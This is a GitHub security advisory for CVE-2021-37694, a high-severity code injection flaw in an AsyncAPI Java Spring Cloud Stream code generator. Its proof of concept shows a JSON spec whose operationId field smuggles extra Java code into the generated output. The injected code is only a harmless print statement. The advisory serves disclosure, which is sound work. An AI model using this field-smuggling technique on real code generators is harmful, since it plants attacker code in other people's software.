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Code injection issue for java-spring-cloud-stream-template

High severity GitHub Reviewed Published Aug 11, 2021 in asyncapi/java-spring-cloud-stream-template • Updated Feb 1, 2023

Package

npm @asyncapi/java-spring-cloud-stream-template (npm)

Affected versions

<= 0.6.9

Patched versions

0.7.0

Description

The following was initially reported by @jonaslagoni:

Given the following command:
ag ./dummy.json @asyncapi/java-spring-cloud-stream-template --force-write --output ./output

With the following AsyncAPI document:

{
  "asyncapi": "2.0.0",
  "info": {
    "title": "Streetlight",
    "version": "1.0.0"
  },
  "defaultContentType": "json",
  "channels": {
    "security/audit/channel": {
      "description": "Channel for the turn on command which should turn on the streetlight",
      "parameters": {
        "streetlight_id": {
          "description": "The ID of the streetlight",
          "schema": {
            "type": "string"
          }
        }
      },
      "publish": {
        "operationId": "test() { System.out.println(\"injected\"); return test(0); }\n public Consumer<CustomClass> someothername",
        "message": {
          "name": "TurnonCommand",
          "payload": {
            "$ref": "#/components/schemas/CustomClass"
          }
        }
      }
    }
  },
  "components": {
    "schemas" : {
      "CustomClass": {
        "type": "object",
        "properties": {
          "prop": { 
              "type": "string"
          }
        }
      }
    }
  }
}

Which changes the following output:

...
  @Bean
  public Consumer<CustomClass> test() {
    // Add business logic here.
    return null;
  }
...

To

...
  @Bean
  public Consumer<CustomClass> test() { System.out.println("injected"); return someothername(); }
  public Consumer<CustomClass> someothername() {
    // Add business logic here.
    return null;
  }
...

References

@fmvilas fmvilas published to asyncapi/java-spring-cloud-stream-template Aug 11, 2021
Published by the National Vulnerability Database Aug 11, 2021
Reviewed Aug 24, 2021
Published to the GitHub Advisory Database Aug 25, 2021
Last updated Feb 1, 2023

Severity

High
8.7
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

Weaknesses

CVE ID

CVE-2021-37694

GHSA ID

GHSA-xj6r-2jpm-qvxp

Source code

Credits

Checking history
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